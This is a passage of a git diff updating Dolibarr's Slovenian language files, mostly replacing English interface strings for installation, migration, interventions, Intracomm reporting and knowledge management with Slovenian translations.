      če uporabniški račun obstaja, baza podatkov pa ne obstaja in je treba odobriti dovoljenja.
      V tem primeru morate vnesti uporabniški račun in geslo ter tudi ime in geslo računa superuporabnika na dnu te strani. Če to polje ni potrjeno, morata lastnik baze podatkov in geslo že obstajati. +DatabaseRootLoginDescription=Ime računa superuporabnika (za ustvarjanje novih baz podatkov ali novih uporabnikov), obvezno, če baza podatkov ali njen lastnik še ne obstaja. +KeepEmptyIfNoPassword=Pustite prazno, če superuporabnik nima gesla (NI priporočljivo) +SaveConfigurationFile=Shranjevanje parametrov v ServerConnection=Povezava s strežnikom DatabaseCreation=Ustvarjanje baze podatkov CreateDatabaseObjects=Ustvarjanje objektov baze podatkov @@ -71,83 +70,83 @@ CreateOtherKeysForTable=Kreiranje tujih ključev in indeksov za tabelo %s OtherKeysCreation=Kreiranje tujih ključev in indeksov FunctionsCreation=Kreiranje funkcij AdminAccountCreation=Kreiranje uporabniškega imena za Administratorja -PleaseTypePassword=Please type a password, empty passwords are not allowed! -PleaseTypeALogin=Please type a login! -PasswordsMismatch=Passwords differs, please try again! +PleaseTypePassword=Vnesite geslo, prazna gesla niso dovoljena! +PleaseTypeALogin=Prosim vnesite prijavo! +PasswordsMismatch=Gesla se razlikujejo, poskusite znova! SetupEnd=Nastavitev je zaključena SystemIsInstalled=Ta instalacija je zaključena. SystemIsUpgraded=Dolibarr Je bil uspešno nadgrajen. YouNeedToPersonalizeSetup=Dolibarr morate konfigurirati, da bi ustrezal vašim potrebam (izgled, funkcije, ...). Prosim, sledite spodnji povezavi: -AdminLoginCreatedSuccessfuly=Dolibarr administrator login '%s' created successfully. +AdminLoginCreatedSuccessfuly=Skrbniška prijava Dolibarr ' %s ' je bila uspešno ustvarjena. GoToDolibarr=Zaženi Dolibarr GoToSetupArea=Zaženi Dolibarr (področje nastavitev) -MigrationNotFinished=The database version is not completely up to date: run the upgrade process again. +MigrationNotFinished=Različica baze podatkov ni popolnoma posodobljena: znova zaženite postopek nadgradnje. GoToUpgradePage=Ponovno pojdite na stran za nadgradnjo WithNoSlashAtTheEnd=Brez poševnice "/" na koncu -DirectoryRecommendation=IMPORTANT: You must use a directory that is outside of the web pages (so do not use a subdirectory of previous parameter). +DirectoryRecommendation= POMEMBNO : Uporabiti morate imenik, ki je zunaj spletnih strani (zato ne uporabljajte podimenika prejšnjega parametra). LoginAlreadyExists=Že obstaja DolibarrAdminLogin=Uporabniško ime Dolibarr administratorja -AdminLoginAlreadyExists=Dolibarr administrator account '%s' already exists. Go back if you want to create another one. -FailedToCreateAdminLogin=Failed to create Dolibarr administrator account. -WarningRemoveInstallDir=Warning, for security reasons, once the install or upgrade is complete, you should add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. -FunctionNotAvailableInThisPHP=Not available in this PHP +AdminLoginAlreadyExists=Skrbniški račun Dolibarr ' %s ' že obstaja. Vrnite se, če želite ustvariti še enega. +FailedToCreateAdminLogin=Ustvarjanje skrbniškega računa Dolibarr ni uspelo. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. +FunctionNotAvailableInThisPHP=Ni na voljo v tem PHP-ju ChoosedMigrateScript=Izberite skript za selitev -DataMigration=Database migration (data) -DatabaseMigration=Database migration (structure + some data) +DataMigration=Selitev baze podatkov (podatki) +DatabaseMigration=Selitev baze podatkov (struktura + nekaj podatkov) ProcessMigrateScript=Obdelava skripta ChooseYourSetupMode=Izberite vaš način namestitve in kliknite "Start"... FreshInstall=Sveža namestitev -FreshInstallDesc=Use this mode if this is your first install. If not, this mode can repair a incomplete previous install. If you want to upgrade your version, choose "Upgrade" mode. +FreshInstallDesc=Ta način uporabite, če je to vaša prva namestitev. Če ne, lahko ta način popravi nepopolno prejšnjo namestitev. Če želite nadgraditi svojo različico, izberite način »Nadgradnja«. Upgrade=Nadgraditev UpgradeDesc=Ta način uporabite, če ste zamenjali stare Dolibarr datoteke z datotekami iz novejše različice. S tem boste nadgradili vašo bazo podatkov in podatke. Start=Start InstallNotAllowed=Namestitev ni možna zaradi dovoljenj v conf.php YouMustCreateWithPermission=Ustvariti morate datoteko %s in nastaviti dovoljenja za zapisovanje za spletni strežnik med postopkom namestitve. -CorrectProblemAndReloadPage=Please fix the problem and press F5 to reload the page. +CorrectProblemAndReloadPage=Odpravite težavo in pritisnite F5 za ponovno nalaganje strani. AlreadyDone=Že prenešeno DatabaseVersion=Različica baze podatkov ServerVersion=Različica strežnika baze podatkov YouMustCreateItAndAllowServerToWrite=Ustvariti morate to mapo in dovoliti spletnemu strežniku zapisovanje vanjo. DBSortingCollation=Vrstni red znakov -YouAskDatabaseCreationSoDolibarrNeedToConnect=You selected create database %s, but for this, Dolibarr needs to connect to server %s with super user %s permissions. -YouAskLoginCreationSoDolibarrNeedToConnect=You selected create database user %s, but for this, Dolibarr needs to connect to server %s with super user %s permissions. -BecauseConnectionFailedParametersMayBeWrong=The database connection failed: the host or super user parameters must be wrong. +YouAskDatabaseCreationSoDolibarrNeedToConnect=You selected create database %s , but for this, Dolibarr needs to connect to server %s with super user %s permissions. +YouAskLoginCreationSoDolibarrNeedToConnect=You selected create database user %s , but for this, Dolibarr needs to connect to server %s with super user %s permissions. +BecauseConnectionFailedParametersMayBeWrong=Povezava z bazo podatkov ni uspela: parametri gostitelja ali super uporabnika morajo biti napačni. OrphelinsPaymentsDetectedByMethod=Osamljena plačila so bila zaznana z metodo %s RemoveItManuallyAndPressF5ToContinue=Ročno odstranite in pritisnite F5 za nadaljevanje. FieldRenamed=Polje je primenovano -IfLoginDoesNotExistsCheckCreateUser=If the user does not exist yet, you must check option "Create user" -ErrorConnection=Server "%s", database name "%s", login "%s", or database password may be wrong or the PHP client version may be too old compared to the database version. +IfLoginDoesNotExistsCheckCreateUser=Če uporabnik še ne obstaja, morate označiti možnost "Ustvari uporabnika" +ErrorConnection=Server " %s ", database name " %s ", login " %s ", or database password may be wrong or the PHP client version may be too old compared to the database version. InstallChoiceRecommanded=Priporočena izbira za namestitev različice %s iz vaše trenutne različice %s InstallChoiceSuggested=Predlagana izbira namestitve. -MigrateIsDoneStepByStep=The targeted version (%s) has a gap of several versions. The install wizard will come back to suggest a further migration once this one is complete. -CheckThatDatabasenameIsCorrect=Check that the database name "%s" is correct. +MigrateIsDoneStepByStep=Ciljna različica (%s) ima vrzel v več različicah. Čarovnik za namestitev se bo vrnil in predlagal nadaljnjo selitev, ko bo ta končana. +CheckThatDatabasenameIsCorrect=Preverite, ali je ime baze podatkov " %s " pravilno. IfAlreadyExistsCheckOption=Če je to ime pravilno in baza podatkov še ne obstaja, morate označiti opcijo "Ustvari bazo podatkov". OpenBaseDir=Parameter PHP openbasedir -YouAskToCreateDatabaseSoRootRequired=You checked the box "Create database". For this, you need to provide the login/password of superuser (bottom of form). -YouAskToCreateDatabaseUserSoRootRequired=You checked the box "Create database owner". For this, you need to provide the login/password of superuser (bottom of form). -NextStepMightLastALongTime=The current step may take several minutes. Please wait until the next screen is shown completely before continuing. -MigrationCustomerOrderShipping=Migrate shipping for sales orders storage +YouAskToCreateDatabaseSoRootRequired=Označili ste polje »Ustvari bazo podatkov«. Za to morate vnesti prijavo/geslo superuporabnika (na dnu obrazca). +YouAskToCreateDatabaseUserSoRootRequired=Označili ste polje »Ustvari lastnika baze podatkov«. Za to morate vnesti prijavo/geslo superuporabnika (na dnu obrazca). +NextStepMightLastALongTime=Trenutni korak lahko traja nekaj minut. Počakajte, da se naslednji zaslon v celoti prikaže, preden nadaljujete. +MigrationCustomerOrderShipping=Preselitev pošiljanja za shranjevanje prodajnih naročil MigrationShippingDelivery=Nadgraditev skladišča za odpremo MigrationShippingDelivery2=Nadgraditev skladišča za odpremo 2 MigrationFinished=Prenos končan -LastStepDesc=Last step: Define here the login and password you wish to use to connect to Dolibarr. Do not lose this as it is the master account to administer all other/additional user accounts. +LastStepDesc= Zadnji korak : Tukaj določite prijavo in geslo, ki ju želite uporabiti za povezavo z Dolibarr. Ne izgubite tega, saj je glavni račun za upravljanje vseh drugih/dodatnih uporabniških računov. ActivateModule=Vključite modul %s ShowEditTechnicalParameters=Kliknite tukaj za prikaz/popravek naprednih parametrov (expertni način) -WarningUpgrade=Warning:\nDid you run a database backup first?\nThis is highly recommended. Loss of data (due to for example bugs in mysql version 5.5.40/41/42/43) may be possible during this process, so it is essential to take a complete dump of your database before starting any migration.\n\nClick OK to start migration process... -ErrorDatabaseVersionForbiddenForMigration=Your database version is %s. It has a critical bug, making data loss possible if you make structural changes in your database, such as is required by the migration process. For his reason, migration will not be allowed until you upgrade your database to a layer (patched) version (list of known buggy versions: %s) -KeepDefaultValuesWamp=You used the Dolibarr setup wizard from DoliWamp, so values proposed here are already optimized. Change them only if you know what you are doing. -KeepDefaultValuesDeb=You used the Dolibarr setup wizard from a Linux package (Ubuntu, Debian, Fedora...), so the values proposed here are already optimized. Only the password of the database owner to create must be entered. Change other parameters only if you know what you are doing. -KeepDefaultValuesMamp=You used the Dolibarr setup wizard from DoliMamp, so the values proposed here are already optimized. Change them only if you know what you are doing. -KeepDefaultValuesProxmox=You used the Dolibarr setup wizard from a Proxmox virtual appliance, so the values proposed here are already optimized. Change them only if you know what you are doing. -UpgradeExternalModule=Run dedicated upgrade process of external module -SetAtLeastOneOptionAsUrlParameter=Set at least one option as a parameter in URL. For example: '...repair.php?standard=confirmed' -NothingToDelete=Nothing to clean/delete -NothingToDo=Nothing to do +WarningUpgrade=Opozorilo:\nSte najprej zagnali varnostno kopijo baze podatkov?\nTo je zelo priporočljivo. Med tem postopkom je lahko možna izguba podatkov (na primer zaradi napak v mysql različici 5.5.40/41/42/43), zato je bistveno, da naredite popoln izpis vaše baze podatkov, preden začnete s selitvijo.\n\nKliknite V redu, da začnete postopek selitve ... +ErrorDatabaseVersionForbiddenForMigration=Vaša različica zbirke podatkov je %s. Ima kritično napako, zaradi katere je možna izguba podatkov, če naredite strukturne spremembe v svoji zbirki podatkov, kot to zahteva postopek selitve. Iz njegovega razloga selitev ne bo dovoljena, dokler ne nadgradite svoje baze podatkov na plastno (popravljeno) različico (seznam znanih različic z napakami: %s) +KeepDefaultValuesWamp=Uporabili ste čarovnika za nastavitev Dolibarr iz DoliWampa, zato so tukaj predlagane vrednosti že optimizirane. Spremenite jih le, če veste, kaj počnete. +KeepDefaultValuesDeb=Uporabili ste čarovnika za nastavitev Dolibarr iz paketa Linux (Ubuntu, Debian, Fedora ...), zato so tukaj predlagane vrednosti že optimizirane. Vnesti je treba samo geslo lastnika baze podatkov, ki jo želite ustvariti. Druge parametre spreminjajte le, če veste, kaj počnete. +KeepDefaultValuesMamp=Uporabili ste čarovnika za nastavitev Dolibarr iz DoliMampa, zato so tukaj predlagane vrednosti že optimizirane. Spremenite jih le, če veste, kaj počnete. +KeepDefaultValuesProxmox=Uporabili ste čarovnika za nastavitev Dolibarr iz virtualne naprave Proxmox, zato so tukaj predlagane vrednosti že optimizirane. Spremenite jih le, če veste, kaj počnete. +UpgradeExternalModule=Zaženite namenski postopek nadgradnje zunanjega modula +SetAtLeastOneOptionAsUrlParameter=Nastavite vsaj eno možnost kot parameter v URL-ju. Na primer: '...repair.php?standard=confirmed' +NothingToDelete=Nič za čiščenje/brisanje +NothingToDo=Nič za početi ######### # upgrade MigrationFixData=Popravek denormaliziranih podatkov MigrationOrder=Prenos podatkov o naročilih kupcev -MigrationSupplierOrder=Data migration for vendor's orders +MigrationSupplierOrder=Migracija podatkov za naročila dobavitelja MigrationProposal=Prenos podatkov o komercialnih ponudbah MigrationInvoice=Prenos podatkov o računih za kupce MigrationContract=Prenos podatkov o pogodbah @@ -163,9 +162,9 @@ MigrationContractsUpdate=Posodobitev podatkov o pogodbah MigrationContractsNumberToUpdate=%s pogodb je potrebno posodobiti MigrationContractsLineCreation=Ustvarite vrstico v pogodbi za pogodbo št. %s MigrationContractsNothingToUpdate=Nič več ni potrebno narediti -MigrationContractsFieldDontExist=Field fk_facture does not exist anymore. Nothing to do. +MigrationContractsFieldDontExist=Polje fk_facture ne obstaja več. Nič za početi. MigrationContractsEmptyDatesUpdate=Popravek manjkajočih datumov v pogodbah -MigrationContractsEmptyDatesUpdateSuccess=Contract empty date correction done successfully +MigrationContractsEmptyDatesUpdateSuccess=Popravek praznega datuma pogodbe je bil uspešno izveden MigrationContractsEmptyDatesNothingToUpdate=Ni potreben popravek manjkajočih datumov v pogodbah MigrationContractsEmptyCreationDatesNothingToUpdate=Ni potreben popravek datumov kreiranja pogodb MigrationContractsInvalidDatesUpdate=Popravek manjkajočih datumov v pogodbah @@ -173,13 +172,13 @@ MigrationContractsInvalidDateFix=Popravek pogodbe %s (Datum pogodbe=%s, Začetni MigrationContractsInvalidDatesNumber=%s spremenjenih pogodb MigrationContractsInvalidDatesNothingToUpdate=Ni napačnih datumov za popravek MigrationContractsIncoherentCreationDateUpdate=Popravek napačne vrednosti datuma kreiranja pogodbe -MigrationContractsIncoherentCreationDateUpdateSuccess=Bad value contract creation date correction done successfully +MigrationContractsIncoherentCreationDateUpdateSuccess=Popravek datuma nastanka pogodbe o slabi vrednosti je bil uspešno izveden MigrationContractsIncoherentCreationDateNothingToUpdate=Ni potreben popravek napačnih datumov kreiranja pogodb MigrationReopeningContracts=Odpri pogodbo, ki je bila pomotoma zaprta MigrationReopenThisContract=Ponovno odpri pogodbo %s MigrationReopenedContractsNumber=%s spremenjenih pogodb MigrationReopeningContractsNothingToUpdate=Ni zaprtih pogodb, ki bi jih morali ponovno odpreti -MigrationBankTransfertsUpdate=Update links between bank entry and a bank transfer +MigrationBankTransfertsUpdate=Posodobite povezave med bančnim vnosom in bančnim nakazilom MigrationBankTransfertsNothingToUpdate=Vse povezave so posodobljene MigrationShipmentOrderMatching=Odpremnice so posodobljene MigrationDeliveryOrderMatching=Dobavnice so posodobljene @@ -187,29 +186,34 @@ MigrationDeliveryDetail=Dobave so posodobljene MigrationStockDetail=Posodobitev vrednosti zalog proizvodov MigrationMenusDetail=Posodobitev tabel dinamičnih menijev MigrationDeliveryAddress=Posodobitev naslovov za dobavo pošiljk -MigrationProjectTaskActors=Data migration for table llx_projet_task_actors +MigrationProjectTaskActors=Selitev podatkov za tabelo llx_projet_task_actors MigrationProjectUserResp=Prenos podatkov polja fk_user_resp tabele llx_projet v llx_element_contact MigrationProjectTaskTime=Posodobitev porabljenega časa v sekundah MigrationActioncommElement=Posodobitev podatkov o aktivnostih -MigrationPaymentMode=Data migration for payment type +MigrationPaymentMode=Selitev podatkov za vrsto plačila MigrationCategorieAssociation=Migracija kategorij -MigrationEvents=Migration of events to add event owner into assignment table -MigrationEventsContact=Migration of events to add event contact into assignment table -MigrationRemiseEntity=Update entity field value of llx_societe_remise -MigrationRemiseExceptEntity=Update entity field value of llx_societe_remise_except -MigrationUserRightsEntity=Update entity field value of llx_user_rights -MigrationUserGroupRightsEntity=Update entity field value of llx_usergroup_rights -MigrationUserPhotoPath=Migration of photo paths for users -MigrationFieldsSocialNetworks=Migration of users fields social networks (%s) +MigrationEvents=Selitev dogodkov za dodajanje lastnika dogodka v tabelo dodelitev +MigrationEventsContact=Migracija dogodkov za dodajanje kontakta dogodka v tabelo dodelitev +MigrationRemiseEntity=Posodobite vrednost polja entitete llx_societe_remise +MigrationRemiseExceptEntity=Posodobite vrednost polja entitete llx_societe_remise_except +MigrationUserRightsEntity=Posodobite vrednost polja entitete llx_user_rights +MigrationUserGroupRightsEntity=Posodobite vrednost polja entitete llx_usergroup_rights +MigrationUserPhotoPath=Migracija foto poti za uporabnike +MigrationFieldsSocialNetworks=Migracija uporabnikov s področja socialnih omrežij (%s) MigrationReloadModule=Ponovno naložite modul %s -MigrationResetBlockedLog=Reset module BlockedLog for v7 algorithm -MigrationImportOrExportProfiles=Migration of import or export profiles (%s) -ShowNotAvailableOptions=Show unavailable options -HideNotAvailableOptions=Hide unavailable options -ErrorFoundDuringMigration=Error(s) were reported during the migration process so next step is not available. To ignore errors, you can click here, but the application or some features may not work correctly until the errors are resolved. -YouTryInstallDisabledByDirLock=The application tried to self-upgrade, but the install/upgrade pages have been disabled for security (directory renamed with .lock suffix).
      -YouTryInstallDisabledByFileLock=The application tried to self-upgrade, but the install/upgrade pages have been disabled for security (by the existence of a lock file install.lock in the dolibarr documents directory).
      -ClickHereToGoToApp=Click here to go to your application -ClickOnLinkOrRemoveManualy=If an upgrade is in progress, please wait. If not, click on the following link. If you always see this same page, you must remove/rename the file install.lock in the documents directory. -Loaded=Loaded -FunctionTest=Function test +MigrationResetBlockedLog=Ponastavi modul BlockedLog za algoritem v7 +MigrationImportOrExportProfiles=Selitev uvoznih ali izvoznih profilov (%s) +ShowNotAvailableOptions=Prikaži nerazpoložljive možnosti +HideNotAvailableOptions=Skrij nerazpoložljive možnosti +ErrorFoundDuringMigration=Med postopkom selitve so bile sporočene napake, zato naslednji korak ni na voljo. Če želite prezreti napake, lahko kliknete tukaj , vendar aplikacija ali nekatere funkcije morda ne bodo delovale pravilno, dokler napake ne bodo odpravljene. +YouTryInstallDisabledByDirLock=Aplikacija se je poskušala samonadgraditi, vendar so bile strani za namestitev/nadgradnjo onemogočene zaradi varnosti (imenik preimenovan s pripono .lock).
      +YouTryInstallDisabledByFileLock=Aplikacija se je poskušala samonadgraditi, vendar so bile strani za namestitev/nadgradnjo onemogočene zaradi varnosti (zaradi obstoja zaklepne datoteke install.lock v imeniku dokumentov dolibarr).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      +ClickHereToGoToApp=Kliknite tukaj, da odprete svojo prijavo +ClickOnLinkOrRemoveManualy=Če je nadgradnja v teku, počakajte. Če ne, kliknite naslednjo povezavo. Če vedno vidite isto stran, morate odstraniti/preimenovati datoteko install.lock v imeniku dokumentov. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. +Loaded=Naloženo +FunctionTest=Test delovanja +NodoUpgradeAfterDB=Zunanji moduli po nadgradnji baze podatkov ne zahtevajo nobenega dejanja +NodoUpgradeAfterFiles=Zunanji moduli po nadgradnji datotek ali imenikov ne zahtevajo nobenega dejanja +MigrationContractLineRank=Preseli pogodbo med rangirane (in omogoči rangiranje) diff --git a/htdocs/langs/sl_SI/interventions.lang b/htdocs/langs/sl_SI/interventions.lang index 9d204efaced..162921354cf 100644 --- a/htdocs/langs/sl_SI/interventions.lang +++ b/htdocs/langs/sl_SI/interventions.lang @@ -4,10 +4,10 @@ Interventions=Intervencije InterventionCard=Kartica intervencije NewIntervention=Nova intervencija AddIntervention=Dodaj intervencijo -ChangeIntoRepeatableIntervention=Change to repeatable intervention +ChangeIntoRepeatableIntervention=Prehod na ponovljivo intervencijo ListOfInterventions=Seznam intervencij ActionsOnFicheInter=Aktivnost na intervenciji -LastInterventions=Latest %s interventions +LastInterventions=Zadnji %s posegi AllInterventions=Vse intervencije CreateDraftIntervention=Kreiraj osnutek InterventionContact=Kontakt za intervencijo @@ -15,54 +15,58 @@ DeleteIntervention=Izbriši intervencijo ValidateIntervention=Potrdi intervencijo ModifyIntervention=Spremeni intervencijo DeleteInterventionLine=Izbriši vrstico intervencije -ConfirmDeleteIntervention=Are you sure you want to delete this intervention? -ConfirmValidateIntervention=Are you sure you want to validate this intervention under name %s? -ConfirmModifyIntervention=Are you sure you want to modify this intervention? -ConfirmDeleteInterventionLine=Are you sure you want to delete this intervention line? -ConfirmCloneIntervention=Are you sure you want to clone this intervention? -NameAndSignatureOfInternalContact=Name and signature of intervening: -NameAndSignatureOfExternalContact=Name and signature of customer: +ConfirmDeleteIntervention=Ali ste prepričani, da želite izbrisati ta poseg? +ConfirmValidateIntervention=Ali ste prepričani, da želite potrditi ta poseg pod imenom %s ? +ConfirmModifyIntervention=Ali ste prepričani, da želite spremeniti ta poseg? +ConfirmDeleteInterventionLine=Ali ste prepričani, da želite izbrisati to intervencijsko linijo? +ConfirmCloneIntervention=Ali ste prepričani, da želite klonirati ta poseg? +NameAndSignatureOfInternalContact=Ime in podpis intervenienta: +NameAndSignatureOfExternalContact=Ime in podpis stranke: DocumentModelStandard=Standardni vzorec dokumenta za intervencijo InterventionCardsAndInterventionLines=Intervencije in vrstice na intervenciji InterventionClassifyBilled=Označi kot "Zaračunano" InterventionClassifyUnBilled=Označi kot "Nezaračunano" -InterventionClassifyDone=Classify "Done" +InterventionClassifyDone=Razvrsti "Končano" StatusInterInvoiced=Zaračunano SendInterventionRef=Oddana intervencija %s -SendInterventionByMail=Send intervention by email +SendInterventionByMail=Pošljite intervencijo po elektronski pošti InterventionCreatedInDolibarr=Intervencija %s je ustvarjena InterventionValidatedInDolibarr=Intervencija %s je potrjena InterventionModifiedInDolibarr=Intervencija %s je spremenjena InterventionClassifiedBilledInDolibarr=Intervencijo %s označi kot "zaračunana" InterventionClassifiedUnbilledInDolibarr=Intervencijo %s označi kot "nezaračunana" -InterventionSentByEMail=Intervention %s sent by email +InterventionSentByEMail=Intervencija %s poslana po elektronski pošti InterventionDeletedInDolibarr=Intervencija %s je izbrisana -InterventionsArea=Interventions area -DraftFichinter=Draft interventions +InterventionsArea=Območje intervencij +DraftFichinter=Osnutki posegov LastModifiedInterventions=Zadnje %s spremenjene intervencije -FichinterToProcess=Interventions to process +FichinterToProcess=Intervencije za obdelavo TypeContact_fichinter_external_CUSTOMER=Kontakt za nadaljnjo obravnavo pri kupcu -PrintProductsOnFichinter=Print also lines of type "product" (not only services) on intervention card +PrintProductsOnFichinter=Na intervencijsko kartico natisnite tudi vrstice tipa "izdelek" (ne le storitve). PrintProductsOnFichinterDetails=intervencije na osnovi naročil -UseServicesDurationOnFichinter=Use services duration for interventions generated from orders -UseDurationOnFichinter=Hides the duration field for intervention records -UseDateWithoutHourOnFichinter=Hides hours and minutes off the date field for intervention records -InterventionStatistics=Statistics of interventions -NbOfinterventions=No. of intervention cards -NumberOfInterventionsByMonth=No. of intervention cards by month (date of validation) -AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). Add option PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT to 1 into home-setup-other to include them. -InterId=Intervention id -InterRef=Intervention ref. -InterDateCreation=Date creation intervention -InterDuration=Duration intervention -InterStatus=Status intervention -InterNote=Note intervention -InterLine=Line of intervention -InterLineId=Line id intervention -InterLineDate=Line date intervention -InterLineDuration=Line duration intervention -InterLineDesc=Line description intervention -RepeatableIntervention=Template of intervention -ToCreateAPredefinedIntervention=To create a predefined or recurring intervention, create a common intervention and convert it into intervention template -ConfirmReopenIntervention=Are you sure you want to open back the intervention %s? -GenerateInter=Generate intervention +UseServicesDurationOnFichinter=Uporabite trajanje storitev za intervencije, generirane iz naročil +UseDurationOnFichinter=Skrije polje trajanja za zapise intervencij +UseDateWithoutHourOnFichinter=Skrije ure in minute izven datumskega polja za zapise intervencij +InterventionStatistics=Statistika intervencij +NbOfinterventions=Št. intervencijskih kart +NumberOfInterventionsByMonth=Število intervencijskih kartic po mesecih (datum validacije) +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. +InterId=ID intervencije +InterRef=Ref. intervencije +InterDateCreation=Intervencija ustvarjanja datuma +InterDuration=Trajanje intervencije +InterStatus=Statusna intervencija +InterNote=Opomba intervencija +InterLine=Intervencijska linija +InterLineId=Intervencija id linije +InterLineDate=Intervencija datuma vrstice +InterLineDuration=Intervencija trajanja linije +InterLineDesc=Intervencija opisa linije +RepeatableIntervention=Predloga intervencije +ToCreateAPredefinedIntervention=Če želite ustvariti vnaprej določeno ali ponavljajočo se intervencijo, ustvarite skupno intervencijo in jo pretvorite v predlogo intervencije +ConfirmReopenIntervention=Ali ste prepričani, da želite ponovno odpreti intervencijo %s ? +GenerateInter=Ustvarite intervencijo +FichinterNoContractLinked=Intervencija %s je bila ustvarjena brez povezane pogodbe. +ErrorFicheinterCompanyDoesNotExist=Podjetje ne obstaja. Intervencija ni bila ustvarjena. +NextDateToIntervention=Datum za naslednjo intervencijsko generacijo +NoIntervention=No intervention diff --git a/htdocs/langs/sl_SI/intracommreport.lang b/htdocs/langs/sl_SI/intracommreport.lang index 1c207976418..c02704efe0d 100644 --- a/htdocs/langs/sl_SI/intracommreport.lang +++ b/htdocs/langs/sl_SI/intracommreport.lang @@ -1,40 +1,40 @@ -Module68000Name = Intracomm report -Module68000Desc = Intracomm report management (Support for French DEB/DES format) -IntracommReportSetup = Intracommreport module setup -IntracommReportAbout = About intracommreport +Module68000Name = Intracomm poročilo +Module68000Desc = Upravljanje poročil Intracomm (podpora za francoski format DEB/DES) +IntracommReportSetup = Nastavitev modula Intracommreport +IntracommReportAbout = O intracommreportu # Setup INTRACOMMREPORT_NUM_AGREMENT=Numéro d'agrément (délivré par le CISD de rattachement) INTRACOMMREPORT_TYPE_ACTEUR=Type d'acteur INTRACOMMREPORT_ROLE_ACTEUR=Rôle joué par l'acteur -INTRACOMMREPORT_NIV_OBLIGATION_INTRODUCTION=Niveau d'obligation sur les introductions +INTRACOMMREPORT_NIV_OBLIGATION_INTRODUCTION=Niveau d'obligation sur les uvods INTRACOMMREPORT_NIV_OBLIGATION_EXPEDITION=Niveau d'obligation sur les expéditions INTRACOMMREPORT_CATEG_FRAISDEPORT=Catégorie de services de type "Frais de port" INTRACOMMREPORT_NUM_DECLARATION=Numéro de déclarant # Menu -MenuIntracommReport=Intracomm report -MenuIntracommReportNew=New declaration +MenuIntracommReport=Intracomm poročilo +MenuIntracommReportNew=Nova deklaracija MenuIntracommReportList=Seznam # View -NewDeclaration=New declaration -Declaration=Declaration -AnalysisPeriod=Analysis period -TypeOfDeclaration=Type of declaration -DEB=Goods exchange declaration (DEB) -DES=Services exchange declaration (DES) +NewDeclaration=Nova deklaracija +Declaration=Izjava +AnalysisPeriod=Obdobje analize +TypeOfDeclaration=Vrsta deklaracije +DEB=Deklaracija o menjavi blaga (DEB) +DES=Izjava o izmenjavi storitev (DES) # Export page -IntracommReportTitle=Preparation of an XML file in ProDouane format +IntracommReportTitle=Priprava XML datoteke v formatu ProDouane # List -IntracommReportList=List of generated declarations -IntracommReportNumber=Numero of declaration -IntracommReportPeriod=Period of nalysis -IntracommReportTypeDeclaration=Type of declaration -IntracommReportDownload=download XML file +IntracommReportList=Seznam ustvarjenih izjav +IntracommReportNumber=Številka deklaracije +IntracommReportPeriod=Obdobje analize +IntracommReportTypeDeclaration=Vrsta deklaracije +IntracommReportDownload=prenesite datoteko XML # Invoice -IntracommReportTransportMode=Transport mode +IntracommReportTransportMode=Način transporta diff --git a/htdocs/langs/sl_SI/knowledgemanagement.lang b/htdocs/langs/sl_SI/knowledgemanagement.lang index 3ff355d3635..f1776da8e09 100644 --- a/htdocs/langs/sl_SI/knowledgemanagement.lang +++ b/htdocs/langs/sl_SI/knowledgemanagement.lang @@ -18,37 +18,37 @@ # # Module label 'ModuleKnowledgeManagementName' -ModuleKnowledgeManagementName = Knowledge Management System +ModuleKnowledgeManagementName = Sistem za upravljanje znanja # Module description 'ModuleKnowledgeManagementDesc' -ModuleKnowledgeManagementDesc=Manage a Knowledge Management (KM) or Help-Desk base +ModuleKnowledgeManagementDesc=Upravljajte bazo upravljanja znanja (KM) ali službe za pomoč uporabnikom # # Admin page # -KnowledgeManagementSetup = Knowledge Management System setup -Settings = Settings -KnowledgeManagementSetupPage = Knowledge Management System setup page +KnowledgeManagementSetup = Nastavitev sistema za upravljanje znanja +Settings = nastavitve +KnowledgeManagementSetupPage = Stran z nastavitvami sistema za upravljanje znanja # # About page # About = O programu -KnowledgeManagementAbout = About Knowledge Management -KnowledgeManagementAboutPage = Knowledge Management about page +KnowledgeManagementAbout = O upravljanju znanja +KnowledgeManagementAboutPage = Upravljanje znanja o strani -KnowledgeManagementArea = Knowledge Management -MenuKnowledgeRecord = Knowledge base -ListKnowledgeRecord = List of articles -NewKnowledgeRecord = New article -ValidateReply = Validate solution -KnowledgeRecords = Articles +KnowledgeManagementArea = Upravljanje znanja +MenuKnowledgeRecord = Baza znanja +ListKnowledgeRecord = Seznam člankov +NewKnowledgeRecord = Nov članek +ValidateReply = Potrdite rešitev +KnowledgeRecords = Članki KnowledgeRecord = Artikel -KnowledgeRecordExtraFields = Extrafields for Article -GroupOfTicket=Group of tickets -YouCanLinkArticleToATicketCategory=You can link an article to a ticket group (so the article will be suggested during qualification of new tickets) -SuggestedForTicketsInGroup=Suggested for tickets when group is +KnowledgeRecordExtraFields = Dodatna polja za člen +GroupOfTicket=Skupina vstopnic +YouCanLinkArticleToATicketCategory=Članek lahko povežete s skupino vstopnic (tako da bo članek označen na vseh vstopnicah v tej skupini) +SuggestedForTicketsInGroup=Priporočeno pri ustvarjanju zahtevka -SetObsolete=Set as obsolete -ConfirmCloseKM=Do you confirm the closing of this article as obsolete ? -ConfirmReopenKM=Do you want to restore this article to status "Validated" ? +SetObsolete=Nastavi kot zastarelo +ConfirmCloseKM=Ali potrjujete, da je ta članek zaprt kot zastarel? +ConfirmReopenKM=Ali želite obnoviti ta članek v status "Potrjen"? diff --git a/htdocs/langs/sl_SI/languages.lang b/htdocs/langs/sl_SI/languages.lang index 39a31d593ef..745a06ab296 100644 --- a/htdocs/langs/sl_SI/languages.lang +++ b/htdocs/langs/sl_SI/languages.lang @@ -1,54 +1,61 @@ # Dolibarr language file - Source file is en_US - languages -Language_am_ET=Ethiopian +Language_am_ET=etiopski Language_ar_AR=Arabščina -Language_ar_DZ=Arabic 